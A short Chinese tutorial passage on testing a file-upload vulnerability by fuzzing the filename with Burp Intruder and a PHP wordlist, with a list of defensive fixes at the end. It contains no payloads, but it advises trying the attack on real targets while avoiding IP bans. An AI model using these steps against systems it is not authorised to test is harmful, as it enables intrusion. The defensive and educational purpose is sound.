手工测试的话有点麻烦,我们可以借助写好的字典配合BP进行批量测试,先在本地测试好了,再在真实环境进行测试,以防会封IP。我借助fuzzDicts的php字典进行测试。
首先将拦截的数据包发送至Intruder
清除所有变量
将filename的值设置为变量
payload加载字典:
开始攻击:
安全及修复建议
- 后端验证:采用服务端验证模式
- 后缀检测:基于黑名单,白名单过滤
- MIME 检测:基于上传自带类型检测
- 内容检测:文件头,完整性检测
- 自带函数过滤:参考 uploadlabs关卡的函数
- 自定义函数过滤:function check_file(){}等
- WAF 防护产品:宝塔,云盾,安全公司产品等 //后面三条是基于安全防护工具的修改
咱加个好友一起学呗